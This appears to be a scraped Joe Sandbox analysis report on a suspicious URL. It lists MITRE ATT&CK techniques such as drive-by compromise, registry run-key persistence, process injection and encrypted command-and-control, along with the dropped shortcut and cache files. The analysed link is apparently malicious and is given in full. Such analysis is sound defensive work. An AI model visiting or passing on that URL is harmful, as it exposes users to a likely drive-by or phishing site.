Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 290

Chrome Cache Entry: 291

Chrome Cache Entry: 292

Chrome Cache Entry: 293

Chrome Cache Entry: 294

Chrome Cache Entry: 295

Chrome Cache Entry: 296

Chrome Cache Entry: 297

Chrome Cache Entry: 298

Chrome Cache Entry: 299

Chrome Cache Entry: 300

Chrome Cache Entry: 301

Chrome Cache Entry: 302

Chrome Cache Entry: 303

Chrome Cache Entry: 304

Chrome Cache Entry: 305

Chrome Cache Entry: 306

Chrome Cache Entry: 307

Chrome Cache Entry: 308

Chrome Cache Entry: 309

Chrome Cache Entry: 310

Chrome Cache Entry: 311

Windows Analysis Report
https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845